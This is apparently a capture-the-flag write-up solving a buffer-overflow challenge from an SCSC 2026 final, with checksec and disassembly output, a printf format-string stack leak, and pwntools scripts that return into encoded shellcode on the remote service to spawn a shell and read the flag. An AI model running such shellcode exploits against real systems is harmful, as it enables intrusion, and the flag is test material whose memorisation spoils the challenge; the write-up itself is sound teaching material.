Flag: SCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}
Description: port 6662
The challenge gave one amd64 ELF and a remote service. First checks showed a non-PIE binary with no canary and an executable stack.
file '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not strippedstat -c '%s %F %y' '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'16144 regular file 2026-05-16 15:39:24.605327985 +0700checksec --file='/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'RELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segmentsSymbols named the important functions. main reads 0x100 bytes into a 0x50 byte stack buffer, then runs check_badchars before returning.
nm -n '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'0000000000401156 T setup00000000004011b7 T check_badchars0000000000401247 T mainobjdump -d -Mintel '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'main: sub rsp,0x50 read(0, rbp-0x50, 0x100) check_badchars(buf, nread) leave; retcheck_badchars blocks bytes: 0x90, 0x2f, 0x0fThe error string in .rodata matched the byte filter. Raw /bin/sh amd64 shellcode contains / and syscall bytes, so it would be killed by check_badchars.
objdump -s -j .rodata '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o'.rodata: "[-] Security alert! Bad character '\x%02x' detected!"A short crash test confirmed saved RIP offset 88.
from pwn import *
p = process('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o')p.send(b'A'*88+b'BBBBBBBB')p.wait()print('exit', p.poll())SIGSEGV, confirms saved RIP offset 88.There was no useful jmp rsp or syscall gadget in the file, so the exploit used the executable stack. Stage one returned into printf with the stack buffer as the format string, then returned to main. That leaked a stack pointer.
from pwn import *
elf=ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)fmt=b'%p.'*12stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])p=process(elf.path)p.send(stage1)out=p.recvuntil(b'A'*20, timeout=1)print(out)0x68.(nil).0x2000.(nil).(nil).0x7ffe33d5af48.0x133d5ae80.0x401247.(nil)...Local gdb correlation gave leak - second_stage_buffer = 0x168 and ret target = second_stage_buffer + 96. The remote stack layout differed by 0x10, so the final script tried 0x168 and 0x178. It used pwntools’ encoder to build shellcode with none of 0x90, 0x2f, 0x0f, 0x00, or newline.
from pwn import *context.clear(arch='amd64')from pwnlib.encoders.encoder import encode
elf=ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)sc=encode(asm(shellcraft.sh()), avoid=b'\x90/\x0f\x00\x0a')fmt=b'%p.'*12stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])
for diff in [0x168,0x178]: io=remote('43.128.69.211',6662,timeout=4) io.send(stage1) out=io.recvuntil(b'A'*16,timeout=4) leak=int(out.split(b'.')[5],16) target=leak-diff+96 payload=b'B'*88+p64(target)+sc io.send(payload) io.sendline(b'echo MARKER; /bin/cat /flag 2>/dev/null; /bin/cat flag.txt 2>/dev/null; exit') data=io.recvall(timeout=2) print(diff, data)Diff 0x178: AAAAAAAAAAAAAAAAAAAAMARKERSCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}